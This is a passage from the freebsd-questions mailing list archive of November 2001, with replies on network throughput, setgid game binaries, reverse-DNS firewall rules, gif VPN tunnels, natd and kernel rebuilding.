trust the ports from the Ports Collection for rebuilding from source (the source tarballs have their MD5 checksums recorded in the Ports Collection files), and the packages downloaded from FreeBSD mirrors (they are built from the Ports Collection). Still, nothing prevents you from changing BINOWN and BINMODE before building specific ports; the penv(1) utility in ports/sysutils/penv might come handy :) For packages, the situation is a bit weirder, but you could easily write a script that parses the output of pkg_info -qL, finds the executables installed by a package and fixes the ownership/permissions. G'luck, Peter -- "yields falsehood, when appended to its quotation." yields falsehood, when appended to its quotation. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:38:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 33E8737B405 for ; Thu, 22 Nov 2001 02:38:29 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id EAA89114; Thu, 22 Nov 2001 04:38:25 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Thu, 22 Nov 2001 04:38:25 -0600 (CST) From: Ryan Thompson To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: RE: Maximizing throughput In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340BE9@apmail.dagupan.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG francisv@dagupan.com wrote to ryan@sasknow.com: > Thank you, Ryan, for the detailed response. Please see my comments below: > > [ Large snip ] > > > My first wave of questions goes something like this, > > 1. What application layer protocol is being used to transfer? > > FTP Right. Application layer protocols are ALWAYS bad tests of link throughput. There is a lot of overhead, and the application itself might leave the link idle. > > 2. Does it run over TCP or UDP? > > TCP Yep.. Slowstart might be a factor, if there are more than a few retransmissions. You might be running into flow control problems on the receiver side. FTP and TCP also add quite a bit of overhead, so a better test would be to set up some count firewall rules on one of the machines to monitor ALL traffic on the link. Probably your transmission is humming along fine most of the time. Every time one end has to retransmit, though, your transmission rate essentially gets cut in half. And TCP WILL have to retransmit at semi-regular intervals, because it always probes the link to find the maximum rate, and will invariably exceed the maximum and cause a packet to be lost. So, I guess, what I'm saying here, is that this is fairly normal. There are many good reasons WHY TCP operates like this... And there are many good reasons why you should not mess with the way TCP operates ;-) > > 3. Are you using CAT5 cabling between both hosts and the switch? > > Yes, we're using category 5 UTP cable on both hosts; less than 5 feet > per host to the switch Assuming the cable tests ok, is not damaged, or bent at sharp angles, that should be OK. > 4. How loaded are the machines? The switch? > > Between 5-10 percent load Depending on what you mean by that (CPU load? Network load? Disk load? Some combination of those three?), that doesn't sound like a major factor. > > 5. How did you calculate your "speed" statistic? Are you sure? > > I don't know if the throughput display (after uploading) of the > FTP client is in megabytes or megabits; I'm guessing it's in > megabytes, not megabits. From my MRTG graph, it used a maximum of > 15.6 megabits -- is this the actual throughput limit? ftp(1) reports transfer times in KB/s (kilobytes per second). The derived conversion from KB/s -> Mbps (megabits per second) is x KB/s = 8x/1024 Mbps = x/128 Mbps 15.6 Mbps is not special in any way that I'm aware of, at least not in your context. Typical application layer throughput on Fast Ethernet is usually on the order of, say, 70 Mbps, but is quite variable, so 60-80 Mbps isn't unusual, depending on the application. 15.6 Mbps is kind of slow. Chances are the actual link is going much faster, but you are running into retransmissions. (Watch the FTP progress.. does it pause briefly during the transfer? The answer is probably YES, unless you are pretty lucky). I just ran a test between a FreeBSD 4.4 (TCP extensions enabled) machine and a 3.5 machine, over our 100Mbps switched Ethernet LAN (which is under some load), using a ~630MB file. Running three trials, I got about 2MB/s each time (~16Mb/s). And, actually, that's not too bad for FTP, considering the load this LAN, and the end hosts, are already under. Different implementations of TCP will also vary somewhat, in the way they handle retransmissions. The same file, copied with NFS over TCP between the same two hosts, took (wall time) about 6 minutes (about 16MB/s), so the results are similar. So, in your case, I'd say you're within 100% of normal for a single TCP connection. - Ryan > > 6. Are there any routers between the two hosts? > > No, there are no routers in between > > Things to try: > Connect the machines directly with crossover cable, or connect them to > a hub. Run tcpdump on one of the machines (or another host on the same > segment) and look for any weirdness. > > As for possible causes/remedies, it's hard to say at this point. Like > I said, one of your likely symptoms is dropped packets. This could > happen at just about any layer. Maybe your cabling is poor grade (or > there is too much EMI), causing Ethernet frames to get dropped. Maybe > one of the hosts (or the switch) is configured wrong. Maybe your > transfer application is broken. Maybe one of your network cards needs > to be replaced. Maybe one of your cables is defective. > > So, as for increasing the bandwidth limit, you'll need to fix whatever > is slowing things down. :-) > > Hope this helps, > - Ryan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- Ryan Thompson Network Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:45:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 2C98937B405 for ; Thu, 22 Nov 2001 02:45:25 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id EAA90083; Thu, 22 Nov 2001 04:45:22 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Thu, 22 Nov 2001 04:45:22 -0600 (CST) From: Ryan Thompson To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: RE: Maximizing throughput In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ryan Thompson wrote to francisv@dagupan.com: > francisv@dagupan.com wrote to ryan@sasknow.com: > > > Thank you, Ryan, for the detailed response. Please see my comments below: > > > > [ Large snip ] > > > > > My first wave of questions goes something like this, > > > 1. What application layer protocol is being used to transfer? > > > > FTP > > Right. Application layer protocols are ALWAYS bad tests of link > throughput. There is a lot of overhead, and the application itself > might leave the link idle. > > > > > 2. Does it run over TCP or UDP? > > > > TCP > > Yep.. Slowstart might be a factor, if there are more than a few > retransmissions. You might be running into flow control problems on > the receiver side. FTP and TCP also add quite a bit of overhead, so a > better test would be to set up some count firewall rules on one of the > machines to monitor ALL traffic on the link. Probably your > transmission is humming along fine most of the time. Every time one > end has to retransmit, though, your transmission rate essentially gets > cut in half. And TCP WILL have to retransmit at semi-regular > intervals, because it always probes the link to find the maximum rate, > and will invariably exceed the maximum and cause a packet to be lost. > So, I guess, what I'm saying here, is that this is fairly normal. > There are many good reasons WHY TCP operates like this... And there > are many good reasons why you should not mess with the way TCP > operates ;-) > > > > > 3. Are you using CAT5 cabling between both hosts and the switch? > > > > Yes, we're using category 5 UTP cable on both hosts; less than 5 feet > > per host to the switch > > Assuming the cable tests ok, is not damaged, or bent at sharp angles, > that should be OK. > > > > 4. How loaded are the machines? The switch? > > > > Between 5-10 percent load > > Depending on what you mean by that (CPU load? Network load? Disk load? > Some combination of those three?), that doesn't sound like a major > factor. > > > > > 5. How did you calculate your "speed" statistic? Are you sure? > > > > I don't know if the throughput display (after uploading) of the > > FTP client is in megabytes or megabits; I'm guessing it's in > > megabytes, not megabits. From my MRTG graph, it used a maximum of > > 15.6 megabits -- is this the actual throughput limit? > > ftp(1) reports transfer times in KB/s (kilobytes per second). The > derived conversion from KB/s -> Mbps (megabits per second) is > > x KB/s = 8x/1024 Mbps = x/128 Mbps > > 15.6 Mbps is not special in any way that I'm aware of, at least not in > your context. Typical application layer throughput on Fast Ethernet is > usually on the order of, say, 70 Mbps, but is quite variable, so 60-80 > Mbps isn't unusual, depending on the application. 15.6 Mbps is kind of > slow. Chances are the actual link is going much faster, but you are > running into retransmissions. (Watch the FTP progress.. does it pause > briefly during the transfer? The answer is probably YES, unless you > are pretty lucky). > > I just ran a test between a FreeBSD 4.4 (TCP extensions enabled) > machine and a 3.5 machine, over our 100Mbps switched Ethernet LAN > (which is under some load), using a ~630MB file. Running three trials, > I got about 2MB/s each time (~16Mb/s). And, actually, that's not too > bad for FTP, considering the load this LAN, and the end hosts, are > already under. Different implementations of TCP will also vary > somewhat, in the way they handle retransmissions. > > The same file, copied with NFS over TCP between the same two hosts, ^^^ UDP, I should say. Actually, the difference in performance isn't significant. > took (wall time) about 6 minutes (about 16MB/s), so the results are > similar. > > So, in your case, I'd say you're within 100% of normal for a single > TCP connection. > > - Ryan > > > > > 6. Are there any routers between the two hosts? > > > > No, there are no routers in between > > > > Things to try: > > Connect the machines directly with crossover cable, or connect them to > > a hub. Run tcpdump on one of the machines (or another host on the same > > segment) and look for any weirdness. > > > > As for possible causes/remedies, it's hard to say at this point. Like > > I said, one of your likely symptoms is dropped packets. This could > > happen at just about any layer. Maybe your cabling is poor grade (or > > there is too much EMI), causing Ethernet frames to get dropped. Maybe > > one of the hosts (or the switch) is configured wrong. Maybe your > > transfer application is broken. Maybe one of your network cards needs > > to be replaced. Maybe one of your cables is defective. > > > > So, as for increasing the bandwidth limit, you'll need to fix whatever > > is slowing things down. :-) > > > > Hope this helps, > > - Ryan > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > -- Ryan Thompson Network Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:48:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 92F8937B418; Thu, 22 Nov 2001 02:48:13 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 4024D66B27; Thu, 22 Nov 2001 02:48:13 -0800 (PST) Date: Thu, 22 Nov 2001 02:48:13 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: FreeBSD Questions , freebsd-security@FreeBSD.ORG Subject: Re: setuid on nethack? Message-ID: <20011122024813.A24038@xor.obsecurity.org> References: <014201c17336$40653f90$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Kj7319i9nmIyA2yE" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <014201c17336$40653f90$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 10:15:37AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Kj7319i9nmIyA2yE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Nov 22, 2001 at 10:15:37AM +0100, Anthony Atkielski wrote: > This morning I see an e-mail from the system telling me that setuid is set on > nethack, the adventure-style game that I installed recently. Why would this > game require this bit? I reset it with chmod 0544, which seems like plenty to On multiuser systems the nethack binary needs the ability to write saved games and score files, when nethack is run by a variety of different users. This is the case for a lot of games; a while back I went through and did a sweep to make sure that any games which require extra privilege for this purpose are using setgid games, not setuid anything (because the games gid only has the power to overwrite the score/save files for the games, and cannot take over any binaries directly as it could if they were setuid). Thus, it's only a marginal risk on a multiuser system (but still a slight risk, as with all binaries which execute with privilege). If you're on a single-user system then none of this should concern you anyway. If it does concern you then feel free to pkg_delete :-) Kris --Kj7319i9nmIyA2yE Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/NfsWry0BWjoQKURAkHTAJ9kTVMSSaJDrqKOB0gMyGSoK+nVBgCgt8JQ weWg4ow4qMSzJcIM6MiRZVk= =aVwK -----END PGP SIGNATURE----- --Kj7319i9nmIyA2yE-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:52:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lv.raad.tartu.ee (lv.raad.tartu.ee [194.126.106.110]) by hub.freebsd.org (Postfix) with ESMTP id 7886237B416 for ; Thu, 22 Nov 2001 02:52:42 -0800 (PST) Received: Message by Barricade lv.raad.tartu.ee with ESMTP id fAMAqfe24889 for ; Thu, 22 Nov 2001 12:52:41 +0200 Message-Id: <200111221052.fAMAqfe24889@lv.raad.tartu.ee> Received: from SpoolDir by INFO (Mercury 1.48); 22 Nov 01 12:52:08 +0200 From: "Toomas Aas" Organization: Tartu City Government To: freebsd-questions@freebsd.org Date: Thu, 22 Nov 2001 12:51:59 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: somewhat ot: reverse dns X-info: Headers changed by Barricade Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello! I apologize for bringing more noise to already noisy list, but I need some generic advice on usage of reverse dns and my googling doesn't turn up anything useful. I thought this list is likely to have people on it who are at least able to point me in the right direction. Please reply directly to me. The whole issue is more 'political' than technical. To put it concisely: is there any justification for requiring the IPs that try to access one of my web servers to have reverse DNS defined? Now for more details. One of the servers we are using to serve our web content is Lotus Domino server running on Windows NT, situated inside our firewall. The thing is set up so that requests to port 80 on the firewall are forwarded to the internal NT/Domino server. Since I thought this would provide some minuscle amount of additional security, I set up the firewall so that requests are not forwarded if they come from IP address that does not have reverse DNS defined. Now some guy who doesn't have reverse DNS defined contacted me and said that 'this kind of behaviour just is not acceptable'. Well, I think it is perfectly acceptable, but I would like to find some documentation to back up my opinion (that is, if my opinion *is* correct to some measurable extent). Is it defined somewhere in RFCs or other widely accepted standards that one *should* have reverse DNS? TIA, -- Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/ * Be sure to use DEVICE=EXXON to screw up your environment. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:54:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 22E6837B41F for ; Thu, 22 Nov 2001 02:53:51 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166rdO-0005t2-00; Thu, 22 Nov 2001 19:03:10 +0800 Date: Thu, 22 Nov 2001 19:03:10 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Ashwin Kotian Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Floppy Boot installation problems: Plz help In-Reply-To: <1006310148.3bfb1304b6625@mail.comstocksys.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Did you try booting from the cdrom? On Tue, 20 Nov 2001, Ashwin Kotian wrote: > Hi, > > I've been trying to install the current stable version of FreeBSD v.4.4 through > the floppy boot installation method. I've used fresh new floppies & have > formatted them under Linux (and also Windows NT ). I've copied the image files > for kern.flp & mfsroot.flp onto 2 individual floppies. I've been able to boot > from both floppies in succession till the phase where we resolve the conflicts > during installation. However inspite of specifying the minimum hardware for the > kernel to probe, once I quit & save the parameters, after probing for the > common devices until it finishes probing the system console device, the machine > stays hung up. > I've tried with a no. of new floppies. Also the image files which I dowloaded > were in binary mode. Still I'm unable to proceed with the installation of > FreeBSD. > This machine currently has FreeBSD v4.3 installed & running, however I've read > that it is better to redo the entire installation from scratch rather than do > the upgrade. > Any help here will be greatly appreciated. > > Thanks a lot, > > Ashwin. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:54:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 5C62137B416 for ; Thu, 22 Nov 2001 02:54:11 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166riR-0005uM-00; Thu, 22 Nov 2001 19:08:23 +0800 Date: Thu, 22 Nov 2001 19:08:23 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Charles Burns Cc: questions@freebsd.org Subject: Re: Quick, unimportant X question In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG add "exec gnome-session" in your .xinitrc file. don't alter any other files. then type "startx" at the prompt. On Tue, 20 Nov 2001, Charles Burns wrote: > "XFree86" seems to execute /just/ X, the server, but not Gnome. > According to the handbook, it should run X with Gnome if I altrer .xinitrc > appropriately. I did and put on in /root and one in /etc/X11/xinit (or > something like that) and it seems to completely ignore the entry. > > Running "xinit", however, runs Gnove fine. Now, X is working great so not > problem here, but, why? I just happenned to try 'xinit' as a command for the > heck of it. I don't understand the whole way X works yet. The only GUI that > I have used for years is... Well, you know... > > Charles Burns > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:59: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id CD3CD37B405; Thu, 22 Nov 2001 02:58:52 -0800 (PST) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id fAMAwH653539; Thu, 22 Nov 2001 12:58:17 +0200 (EET) (envelope-from ru) Date: Thu, 22 Nov 2001 12:58:17 +0200 From: Ruslan Ermilov To: Ruben de Groot Cc: freebsd-questions@FreeBSD.ORG, brooks@FreeBSD.ORG Subject: Re: gifconfig: interface gif0 does not exist Message-ID: <20011122125817.C48048@sunbay.com> References: <20011122112401.A20438@ei.bzerk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011122112401.A20438@ei.bzerk.org> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 11:24:01AM +0100, Ruben de Groot wrote: > > Hi, > > I'm trying to set up a VPN between two routers on a private network. > Both routers are FreeBSD 4.4-stable and have "pseudo-device gif" in > their kernel-config. > > When I issue the command: > > router1# gifconfig gif0 inet 192.168.179.40 192.168.179.120 > > I get the errormessage: > > gifconfig: interface gif0 does not exist > > I read the manpages gif(4), gifconfig(8) and LINT, but didn't find any clues. > Am I forgetting something? For example, is "options INET6" mandatory? I'm > not using IPv6, so I commented that out of the kernel config file. > You need to "ifconfig create" it first. Have a look at /etc/defaults/rc.conf on how to do it automatically. Hint: search for "gif_interfaces". Then put the necessary lines into your /etc/rc.conf. Brooks, could you please document these knobs in the rc.conf(5) manpage? Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:23: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ei.bzerk.org (ei.xs4all.nl [213.84.67.5]) by hub.freebsd.org (Postfix) with ESMTP id DC44037B417; Thu, 22 Nov 2001 03:22:59 -0800 (PST) Received: (from ruben@localhost) by ei.bzerk.org (8.11.6/8.11.3) id fAMBMwg20682; Thu, 22 Nov 2001 12:22:58 +0100 (CET) (envelope-from ruben) Date: Thu, 22 Nov 2001 12:22:58 +0100 From: Ruben de Groot To: Ruslan Ermilov Cc: freebsd-questions@FreeBSD.ORG Subject: Re: gifconfig: interface gif0 does not exist Message-ID: <20011122122258.A20652@ei.bzerk.org> References: <20011122112401.A20438@ei.bzerk.org> <20011122125817.C48048@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011122125817.C48048@sunbay.com>; from ru@FreeBSD.ORG on Thu, Nov 22, 2001 at 12:58:17PM +0200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks! The command: ifconfig gif0 create tunnel 192.168.179.40 192.168.179.120 Did the trick. My VPN seems to be working flawless now. On Thu, Nov 22, 2001 at 12:58:17PM +0200, Ruslan Ermilov wrote: > On Thu, Nov 22, 2001 at 11:24:01AM +0100, Ruben de Groot wrote: > > > > Hi, > > > > I'm trying to set up a VPN between two routers on a private network. > > Both routers are FreeBSD 4.4-stable and have "pseudo-device gif" in > > their kernel-config. > > > > When I issue the command: > > > > router1# gifconfig gif0 inet 192.168.179.40 192.168.179.120 > > > > I get the errormessage: > > > > gifconfig: interface gif0 does not exist > > > > I read the manpages gif(4), gifconfig(8) and LINT, but didn't find any clues. > > Am I forgetting something? For example, is "options INET6" mandatory? I'm > > not using IPv6, so I commented that out of the kernel config file. > > > You need to "ifconfig create" it first. Have a look at /etc/defaults/rc.conf > on how to do it automatically. Hint: search for "gif_interfaces". > Then put the necessary lines into your /etc/rc.conf. > > Brooks, could you please document these knobs in the rc.conf(5) manpage? > > > Cheers, > -- > Ruslan Ermilov Oracle Developer/DBA, > ru@sunbay.com Sunbay Software AG, > ru@FreeBSD.org FreeBSD committer, > +380.652.512.251 Simferopol, Ukraine > > http://www.FreeBSD.org The Power To Serve > http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:27:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from www.suntop-cn.com (www.suntop-cn.com [61.140.76.155]) by hub.freebsd.org (Postfix) with ESMTP id 50C7637B405 for ; Thu, 22 Nov 2001 03:27:40 -0800 (PST) Received: from win ([61.144.142.110]) (authenticated) by www.suntop-cn.com (8.11.3/8.11.3) with ESMTP id fAMBRdo73021; Thu, 22 Nov 2001 19:27:40 +0800 (CST) (envelope-from slack@suntop-cn.com) Message-ID: <002b01c17348$c5ad6800$9201a8c0@home.net> From: "edwin chen" To: , "Lowell Gilbert" References: <000a01c17286$5deecdc0$9201a8c0@home.net> <4466843x0z.fsf@lowellg.ne.mediaone.net> Subject: Re: how about default route ? Date: Thu, 22 Nov 2001 19:28:06 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG thanks, that's the answer I needed, edwin chen ----- Original Message ----- From: "Lowell Gilbert" To: ; Sent: Thursday, November 22, 2001 12:32 AM Subject: Re: how about default route ? > slack@suntop-cn.com (edwin chen) writes: > > > in win2000, I can setup two default route, can freebsd do that ? if can, what will happened ? if can't ,why ? > > I don't know a lot about Windows NT, but I believe that this functionality > supports automatic failover between statically configured default gateways. > FreeBSD doesn't support this, but it does support router discovery (if you > enable a routing daemon, such as routed(8)), which is usually a better way > to handle redundant paths to the Internet. If you can run real routing > protocols, that's even better, but you need support from your upstream > routers. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:35:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (oe55.law3.hotmail.com [209.185.240.55]) by hub.freebsd.org (Postfix) with ESMTP id 31D9337B428 for ; Thu, 22 Nov 2001 03:34:58 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 22 Nov 2001 03:34:58 -0800 X-Originating-IP: [213.238.128.204] From: "Yavuz Maslak" To: Subject: natd Date: Thu, 22 Nov 2001 13:34:16 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-9" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Message-ID: X-OriginalArrivalTime: 22 Nov 2001 11:34:58.0088 (UTC) FILETIME=[B6DDCA80:01C17349] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Hello There > > I 've installed natd on FreeBSD4.4 and read man natd. Also Natd works well. > That is My Lan connects to internet via natdserver with only one realip of > the natdserver. Actually my Natdserver has several ips. I want to > connect to internet via different whose natd server ip for each my lan > segment. > > Namely; > We have a bit big network (roughly 500 clients). We have two local segment > as following; > 1 >>> 10.1.1.0/24 > 2 >>> 10.3.1.0/24 > > I want to do following as; > > First Lan should connect to internet via first realip(ex. 210.200.1.1) of > the natdserver. > Second Lan should connect to internet via second realip(ex. 210.200.1.5) of > the natdserver. > > What shall I do ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:38:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from www.slackwit.com (static37.dsl.compuage.net [63.151.205.37]) by hub.freebsd.org (Postfix) with ESMTP id 65E5137B416 for ; Thu, 22 Nov 2001 03:38:09 -0800 (PST) Received: by www.slackwit.com (Postfix, from userid 1001) id 2D18F18CA5; Thu, 22 Nov 2001 06:40:40 -0500 (EST) Date: Thu, 22 Nov 2001 06:40:40 -0500 From: Kelly Hendrix To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Error on xl0 Message-ID: <20011122064040.A485@www.slackwit.com> Reply-To: Kelly Hendrix References: <012901c17334$750f86d0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <012901c17334$750f86d0$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 10:02:47AM +0100 X-Freebsd-Version: FreeBSD 4.4-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Anthony, On Thu, Nov 22, 2001 at 10:02:47AM +0100, Anthony Atkielski wrote: > The one solution I've seen involves recompiling a driver module (and > presumably rebuilding the kernel?), which seems like dramatic overkill > and risk for what is apparently only a diagnostic message. Even if you never choose to track stable and to do build worlds, kernel recompiles are still something that most FreeBSD users will have to do. Generic kernels, as bloated as they are, usually don't have everything enabled that an average user will need (firewall support, and sound for example). Or maybe the generic kernel is sufficient for your needs, but you just want to recompile to streamline it a bit. Admittedly, I had reservations the first time I recompiled a kernel, but with the help of Greg Lehey's book, "The Complete FreeBSD", I managed to get it both recompiled and installed. My suggestion to you is to try the kernel rebuild. If you have a fast machine, and IIRC you do, it'll only take a few minutes, probably less than ten. If you're not sure how, this is a good place to start: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig.html If you still have questions, well, that's why this list is here. Be specific about your problem and provide as much information as you can. Kelly Hendrix -- ______________________________________________________________________ | There are two ways to live your life. One is as though nothing is a | | miracle. The other is as though everything is a miracle. | | | | Albert Einstein (1879-1955) | |______________________________________________________________________| To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:40:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com 